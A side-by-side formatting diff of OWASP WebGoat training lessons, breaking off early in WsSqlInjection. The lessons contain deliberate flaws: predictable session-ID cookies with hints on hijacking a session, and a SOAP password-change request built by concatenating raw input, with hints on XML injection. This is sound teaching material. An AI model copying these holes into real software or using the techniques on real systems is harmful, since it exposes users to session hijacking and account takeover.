@ -17,259 +16,249 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH; import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Rogan Dawes <a href="http://dawes.za.net/rogan">Rogan Dawes</a> * @author Rogan Dawes <a href="http://dawes.za.net/rogan">Rogan Dawes</a>
* @created March 30, 2005 * @created March 30, 2005
*/ */
public class WeakSessionID extends LessonAdapter public class WeakSessionID extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
/** .addElement(
* Description of the Field new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
*/ .setVspace(0));
protected final static String SESSIONID = "WEAKID"; /**
* Description of the Field
*/
protected final static String SESSIONID = "WEAKID";
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String PASSWORD = "Password"; protected final static String PASSWORD = "Password";
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String USERNAME = "Username"; protected final static String USERNAME = "Username";
protected static List<String> sessionList = new ArrayList<String>(); protected static List<String> sessionList = new ArrayList<String>();
protected static long seq = Math.round(Math.random() * 10240) + 10000; protected static long seq = Math.round(Math.random() * 10240) + 10000;
protected static long lastTime = System.currentTimeMillis(); protected static long lastTime = System.currentTimeMillis();
/**
/** * Gets the credits attribute of the AbstractLesson object
* Gets the credits attribute of the AbstractLesson object *
* * @return The credits value
* @return The credits value */
*/ public Element getCredits()
public Element getCredits()
{
return super.getCustomCredits("By Rogan Dawes of ", ASPECT_LOGO);
}
protected String newCookie(WebSession s)
{
long now = System.currentTimeMillis();
seq++;
if (seq % 29 == 0)
{ {
String target = encode(seq++, lastTime + (now - lastTime) / 2); return super.getCustomCredits("By Rogan Dawes of ", ASPECT_LOGO);
sessionList.add(target);
s.setMessage(target);
if (sessionList.size() > 100)
sessionList.remove(0);
}
lastTime = now;
return encode(seq, now);
}
private String encode(long seq, long time)
{
return new String(Long.toString(seq) + "-" + Long.toString(time));
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
try
{
String sessionid = s.getCookie(SESSIONID);
if (sessionid != null && sessionList.indexOf(sessionid) > -1)
{
return makeSuccess(s);
}
else
{
return makeLogin(s);
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
return (null); protected String newCookie(WebSession s)
}
/**
* Gets the category attribute of the WeakAuthenticationCookie object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.SESSION_MANAGEMENT;
}
/**
* Gets the hints attribute of the CookieScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The server skips authentication if you send the right cookie.");
hints.add("Is the cookie value predictable? Can you see gaps where someone else has acquired a cookie?");
hints.add("Try harder, you brute!");
hints.add("The first part of the cookie is a sequential number, the second part is milliseconds.");
hints.add("After the 29th try, the skipped identifier is printed to your screen. Use that to login.");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(90);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CookieScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Hijack a Session");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeLogin(WebSession s)
{
ElementContainer ec = new ElementContainer();
String weakid = s.getCookie(SESSIONID);
if (weakid == null)
{ {
weakid = newCookie(s); long now = System.currentTimeMillis();
Cookie cookie = new Cookie(SESSIONID, weakid); seq++;
s.getResponse().addCookie(cookie); if (seq % 29 == 0)
{
String target = encode(seq++, lastTime + (now - lastTime) / 2);
sessionList.add(target);
s.setMessage(target);
if (sessionList.size() > 100) sessionList.remove(0);
}
lastTime = now;
return encode(seq, now);
} }
ec.addElement(new H1().addElement("Sign In ")); private String encode(long seq, long time)
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
if (s.isColor())
{ {
t.setBorder(1); return new String(Long.toString(seq) + "-" + Long.toString(time));
} }
String username = null; /**
String password = null; * Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
try
{
String sessionid = s.getCookie(SESSIONID);
if (sessionid != null && sessionList.indexOf(sessionid) > -1)
{
return makeSuccess(s);
}
else
{
return makeLogin(s);
}
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
try return (null);
{
username = s.getParser().getStringParameter(USERNAME);
}
catch (ParameterNotFoundException pnfe)
{}
try
{
password = s.getParser().getStringParameter(PASSWORD);
}
catch (ParameterNotFoundException pnfe)
{}
if (username != null || password != null)
{
s.setMessage("Invalid username or password.");
} }
TR tr = new TR(); /**
tr.addElement(new TH().addElement("Please sign in to your account.") * Gets the category attribute of the WeakAuthenticationCookie object
.setColSpan(2).setAlign("left")); *
t.addElement(tr); * @return The category value
*/
protected Category getDefaultCategory()
{
return Category.SESSION_MANAGEMENT;
}
tr = new TR(); /**
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); * Gets the hints attribute of the CookieScreen object
t.addElement(tr); *
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The server skips authentication if you send the right cookie.");
hints.add("Is the cookie value predictable? Can you see gaps where someone else has acquired a cookie?");
hints.add("Try harder, you brute!");
hints.add("The first part of the cookie is a sequential number, the second part is milliseconds.");
hints.add("After the 29th try, the skipped identifier is printed to your screen. Use that to login.");
return hints;
}
tr = new TR(); private final static Integer DEFAULT_RANKING = new Integer(90);
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
TR row1 = new TR(); protected Integer getDefaultRanking()
TR row2 = new TR(); {
row1.addElement(new TD(new B(new StringElement("*User Name: ")))); return DEFAULT_RANKING;
row2.addElement(new TD(new B(new StringElement("*Password: ")))); }
Input input1 = new Input(Input.TEXT, USERNAME, ""); /**
Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); * Gets the title attribute of the CookieScreen object
Input input3 = new Input(Input.HIDDEN, SESSIONID, weakid); *
row1.addElement(new TD(input1)); * @return The title value
row2.addElement(new TD(input2)); */
t.addElement(row1); public String getTitle()
t.addElement(row2); {
t.addElement(input3); return ("Hijack a Session");
}
Element b = ECSFactory.makeButton("Login"); /**
t.addElement(new TR(new TD(b))); * Description of the Method
ec.addElement(t); *
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeLogin(WebSession s)
{
ElementContainer ec = new ElementContainer();
return (ec); String weakid = s.getCookie(SESSIONID);
}
if (weakid == null)
{
weakid = newCookie(s);
Cookie cookie = new Cookie(SESSIONID, weakid);
s.getResponse().addCookie(cookie);
}
ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
String username = null;
String password = null;
try
{
username = s.getParser().getStringParameter(USERNAME);
} catch (ParameterNotFoundException pnfe)
{
}
try
{
password = s.getParser().getStringParameter(PASSWORD);
} catch (ParameterNotFoundException pnfe)
{
}
if (username != null || password != null)
{
s.setMessage("Invalid username or password.");
}
TR tr = new TR();
tr.addElement(new TH().addElement("Please sign in to your account.").setColSpan(2).setAlign("left"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new B(new StringElement("*User Name: "))));
row2.addElement(new TD(new B(new StringElement("*Password: "))));
Input input1 = new Input(Input.TEXT, USERNAME, "");
Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
Input input3 = new Input(Input.HIDDEN, SESSIONID, weakid);
row1.addElement(new TD(input1));
row2.addElement(new TD(input2));
t.addElement(row1);
t.addElement(row2);
t.addElement(input3);
Element b = ECSFactory.makeButton("Login");
t.addElement(new TR(new TD(b)));
ec.addElement(t);
return (ec);
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import org.apache.ecs.Element; import org.apache.ecs.Element;
@ -11,153 +12,140 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.*; import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a> * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class WelcomeScreen extends Screen public class WelcomeScreen extends Screen
{ {
/** /**
* Constructor for the WelcomeScreen object * Constructor for the WelcomeScreen object
* *
* @param s Description of the Parameter * @param s
*/ * Description of the Parameter
public WelcomeScreen(WebSession s) */
{ public WelcomeScreen(WebSession s)
setup(s);
}
/**
* Constructor for the WelcomeScreen object
*/
public WelcomeScreen()
{}
public void setup(WebSession s)
{
// call createContent first so messages will go somewhere
Form form = new Form("attack", Form.POST).setName("form")
.setEncType("");
form.addElement(wrapForm(s));
TD lowerright = new TD().setHeight("100%").setVAlign("top").setAlign(
"left").addElement(form);
TR row = new TR().addElement(lowerright);
Table layout = new Table().setBgColor(HtmlColor.WHITE)
.setCellSpacing(0).setCellPadding(0).setBorder(0);
layout.addElement(row);
setContent(layout);
}
protected Element wrapForm(WebSession s)
{
if (s == null)
{ {
return new StringElement("Invalid Session"); setup(s);
} }
Table container = new Table().setWidth("100%").setCellSpacing(10) /**
.setCellPadding(0).setBorder(0); * Constructor for the WelcomeScreen object
*/
public WelcomeScreen()
{
}
// CreateContent can generate error messages so you MUST call it before makeMessages() public void setup(WebSession s)
Element content = createContent(s); {
container.addElement(new TR().addElement(new TD().setColSpan(2) // call createContent first so messages will go somewhere
.setVAlign("TOP").addElement(makeMessages(s))));
container.addElement(new TR().addElement(new TD().setColSpan(2)
.addElement(content)));
container.addElement(new TR());
return (container); Form form = new Form("attack", Form.POST).setName("form").setEncType("");
}
form.addElement(wrapForm(s));
/** TD lowerright = new TD().setHeight("100%").setVAlign("top").setAlign("left").addElement(form);
* Description of the Method TR row = new TR().addElement(lowerright);
* Table layout = new Table().setBgColor(HtmlColor.WHITE).setCellSpacing(0).setCellPadding(0).setBorder(0);
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
Element b = ECSFactory.makeButton("Start the Course!");
ec.addElement(new Center(b));
return (ec); layout.addElement(row);
}
setContent(layout);
}
public Element getCredits() protected Element wrapForm(WebSession s)
{ {
return new ElementContainer(); if (s == null) { return new StringElement("Invalid Session"); }
}
Table container = new Table().setWidth("100%").setCellSpacing(10).setCellPadding(0).setBorder(0);
/** // CreateContent can generate error messages so you MUST call it before makeMessages()
* Gets the instructions attribute of the WelcomeScreen object Element content = createContent(s);
* container.addElement(new TR().addElement(new TD().setColSpan(2).setVAlign("TOP").addElement(makeMessages(s))));
* @return The instructions value container.addElement(new TR().addElement(new TD().setColSpan(2).addElement(content)));
*/ container.addElement(new TR());
protected String getInstructions()
{
String instructions = "Enter your name and learn how HTTP really works!";
return (instructions); return (container);
} }
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
Element b = ECSFactory.makeButton("Start the Course!");
ec.addElement(new Center(b));
/** return (ec);
* Gets the title attribute of the WelcomeScreen object }
*
* @return The title value
*/
public String getTitle()
{
return ("Welcome to the Penetration Testing Course");
}
public Element getCredits()
{
return new ElementContainer();
}
/* (non-Javadoc) /**
* @see session.Screen#getRole() * Gets the instructions attribute of the WelcomeScreen object
*/ *
public String getRole() * @return The instructions value
{ */
return AbstractLesson.USER_ROLE; protected String getInstructions()
} {
String instructions = "Enter your name and learn how HTTP really works!";
return (instructions);
}
/**
* Gets the title attribute of the WelcomeScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Welcome to the Penetration Testing Course");
}
/*
* (non-Javadoc)
*
* @see session.Screen#getRole()
*/
public String getRole()
{
return AbstractLesson.USER_ROLE;
}
} }

View File

@ -1,16 +1,14 @@
/* /*
* Created on Jun 1, 2005 * Created on Jun 1, 2005 TODO To change the template for this generated file go to Window -
* * Preferences - Java - Code Style - Code Templates
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/ */
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.IOException; import java.io.IOException;
import java.io.StringReader; import java.io.StringReader;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -18,7 +16,6 @@ import org.apache.ecs.html.B;
import org.apache.ecs.html.Input; import org.apache.ecs.html.Input;
import org.apache.ecs.html.P; import org.apache.ecs.html.P;
import org.apache.ecs.html.PRE; import org.apache.ecs.html.PRE;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
@ -29,235 +26,202 @@ import org.xml.sax.XMLReader;
import org.xml.sax.helpers.DefaultHandler; import org.xml.sax.helpers.DefaultHandler;
import org.xml.sax.helpers.XMLReaderFactory; import org.xml.sax.helpers.XMLReaderFactory;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author rdawes * @author rdawes
* *
* TODO To change the template for this generated type comment go to Window - * TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Preferences - Java - Code Style - Code Templates * Code Style - Code Templates
*/ */
public class WsSAXInjection extends LessonAdapter public class WsSAXInjection extends LessonAdapter
{ {
private final static String PASSWORD = "password"; private final static String PASSWORD = "password";
private String password; private String password;
private static String template1 = "<?xml version='1.0' encoding='UTF-8'?>\n" private static String template1 = "<?xml version='1.0' encoding='UTF-8'?>\n" + "<wsns0:Envelope\n"
+ "<wsns0:Envelope\n" + " xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'\n"
+ " xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'\n" + " xmlns:xsd='http://www.w3.org/2001/XMLSchema'\n"
+ " xmlns:xsd='http://www.w3.org/2001/XMLSchema'\n" + " xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'\n"
+ " xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'\n" + " xmlns:wsns1='http://lessons.webgoat.owasp.org'>\n" + " <wsns0:Body>\n"
+ " xmlns:wsns1='http://lessons.webgoat.owasp.org'>\n" + " <wsns1:changePassword>\n" + " <id xsi:type='xsd:int'>101</id>\n"
+ " <wsns0:Body>\n" + " <password xsi:type='xsd:string'>";
+ " <wsns1:changePassword>\n"
+ " <id xsi:type='xsd:int'>101</id>\n"
+ " <password xsi:type='xsd:string'>";
private static String template2 = "</password>\n" private static String template2 = "</password>\n" + " </wsns1:changePassword>\n" + " </wsns0:Body>\n"
+ " </wsns1:changePassword>\n" + " </wsns0:Body>\n" + "</wsns0:Envelope>";
+ "</wsns0:Envelope>";
static boolean completed; static boolean completed;
protected Category getDefaultCategory()
protected Category getDefaultCategory()
{
return Category.WEB_SERVICES;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The backend parses the XML received using a SAX parser.");
hints.add("SAX parsers often don't care if an element is repeated.");
hints
.add("If there are repeated elements, the last one is the one that is effective");
hints
.add("Try injecting matching 'close' tags, and creating your own XML elements");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(150);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return "Web Service SAX Injection";
}
protected Element makeInputLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Please change your password: "));
Input input = new Input(Input.TEXT, PASSWORD);
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
return ec;
}
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{ {
ec.addElement(makeInputLine(s)); return Category.WEB_SERVICES;
password = s.getParser().getRawParameter(PASSWORD, null);
PRE pre = new PRE();
String xml = template1;
xml = xml + (password == null ? "[password]" : password);
xml = xml + template2;
pre.addElement(HtmlEncoder.encode(xml));
ec.addElement(pre);
if (password != null)
{
ec.addElement(checkXML(s, xml));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
private Element checkXML(WebSession s, String xml)
{
try
{
XMLReader reader = XMLReaderFactory.createXMLReader();
PasswordChanger changer = new PasswordChanger();
reader.setContentHandler(changer);
reader.parse(new InputSource(new StringReader(xml)));
if (!"101".equals(changer.getId()))
{
makeSuccess(s);
return new B(HtmlEncoder
.encode("You have changed the passsword for userid "
+ changer.getId() + " to '"
+ changer.getPassword() + "'"));
}
else
{
return new StringElement(
"You changed the password for userid 101. Try again.");
}
}
catch (SAXException saxe)
{
return new StringElement("The XML was not well formed: "
+ saxe.getLocalizedMessage());
}
catch (IOException ioe)
{
return new StringElement(ioe.getLocalizedMessage());
}
}
private static class PasswordChanger extends DefaultHandler
{
private static String PASSWORD_TAG = "password";
private static String ID_TAG = "id";
private String id = null;
private String password = null;
private StringBuffer text = new StringBuffer();
public void startElement(String uri, String localName, String qName,
Attributes atts) throws SAXException
{
text.delete(0, text.length());
} }
protected List<String> getHints(WebSession s)
public void characters(char[] ch, int start, int length)
throws SAXException
{ {
text.append(ch, start, length); List<String> hints = new ArrayList<String>();
hints.add("The backend parses the XML received using a SAX parser.");
hints.add("SAX parsers often don't care if an element is repeated.");
hints.add("If there are repeated elements, the last one is the one that is effective");
hints.add("Try injecting matching 'close' tags, and creating your own XML elements");
return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(150);
public void endElement(String uri, String localName, String qName) protected Integer getDefaultRanking()
throws SAXException
{ {
if (localName.equals(ID_TAG)) return DEFAULT_RANKING;
id = text.toString();
if (localName.equals(PASSWORD_TAG))
password = text.toString();
text.delete(0, text.length());
} }
public String getTitle()
public void ignorableWhitespace(char[] ch, int start, int length)
throws SAXException
{ {
text.append(ch, start, length); return "Web Service SAX Injection";
} }
protected Element makeInputLine(WebSession s)
public String getId()
{ {
return id; ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Please change your password: "));
Input input = new Input(Input.TEXT, PASSWORD);
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
return ec;
} }
protected Element createContent(WebSession s)
public String getPassword()
{ {
return password; ElementContainer ec = new ElementContainer();
try
{
ec.addElement(makeInputLine(s));
password = s.getParser().getRawParameter(PASSWORD, null);
PRE pre = new PRE();
String xml = template1;
xml = xml + (password == null ? "[password]" : password);
xml = xml + template2;
pre.addElement(HtmlEncoder.encode(xml));
ec.addElement(pre);
if (password != null)
{
ec.addElement(checkXML(s, xml));
}
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
} }
} private Element checkXML(WebSession s, String xml)
{
try
{
XMLReader reader = XMLReaderFactory.createXMLReader();
PasswordChanger changer = new PasswordChanger();
reader.setContentHandler(changer);
reader.parse(new InputSource(new StringReader(xml)));
if (!"101".equals(changer.getId()))
{
makeSuccess(s);
return new B(HtmlEncoder.encode("You have changed the passsword for userid " + changer.getId()
+ " to '" + changer.getPassword() + "'"));
}
else
{
return new StringElement("You changed the password for userid 101. Try again.");
}
} catch (SAXException saxe)
{
return new StringElement("The XML was not well formed: " + saxe.getLocalizedMessage());
} catch (IOException ioe)
{
return new StringElement(ioe.getLocalizedMessage());
}
}
private static class PasswordChanger extends DefaultHandler
{
private static String PASSWORD_TAG = "password";
private static String ID_TAG = "id";
private String id = null;
private String password = null;
private StringBuffer text = new StringBuffer();
public void startElement(String uri, String localName, String qName, Attributes atts) throws SAXException
{
text.delete(0, text.length());
}
public void characters(char[] ch, int start, int length) throws SAXException
{
text.append(ch, start, length);
}
public void endElement(String uri, String localName, String qName) throws SAXException
{
if (localName.equals(ID_TAG)) id = text.toString();
if (localName.equals(PASSWORD_TAG)) password = text.toString();
text.delete(0, text.length());
}
public void ignorableWhitespace(char[] ch, int start, int length) throws SAXException
{
text.append(ch, start, length);
}
public String getId()
{
return id;
}
public String getPassword()
{
return password;
}
}
} }

View File

@ -1,9 +1,8 @@
/* /*
* Created on Jun 1, 2005 * Created on Jun 1, 2005 TODO To change the template for this generated file go to Window -
* * Preferences - Java - Code Style - Code Templates
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/ */
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -13,7 +12,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -22,273 +20,256 @@ import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input; import org.apache.ecs.html.Input;
import org.apache.ecs.html.P; import org.apache.ecs.html.P;
import org.apache.ecs.html.PRE; import org.apache.ecs.html.PRE;
import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext; import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author asmolen * @author asmolen
* *
* TODO To change the template for this generated type comment go to * TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Window - Preferences - Java - Code Style - Code Templates * Code Style - Code Templates
*/ */
public class WsSqlInjection extends LessonAdapter public class WsSqlInjection extends LessonAdapter
{ {
public final static String ccNumber = "cc_number"; public final static String ccNumber = "cc_number";
private final static String ACCT_NUM = "account_number"; private final static String ACCT_NUM = "account_number";
private String accountNumber; private String accountNumber;
final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg") final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg").setAlt("Parasoft").setBorder(0).setHspace(0)
.setAlt("Parasoft").setBorder(0).setHspace(0).setVspace(0); .setVspace(0);
/* (non-Javadoc) /*
* @see lessons.AbstractLesson#getMenuItem() * (non-Javadoc)
*/ *
static boolean completed; * @see lessons.AbstractLesson#getMenuItem()
*/
static boolean completed;
private static WebgoatContext webgoatContext; private static WebgoatContext webgoatContext;
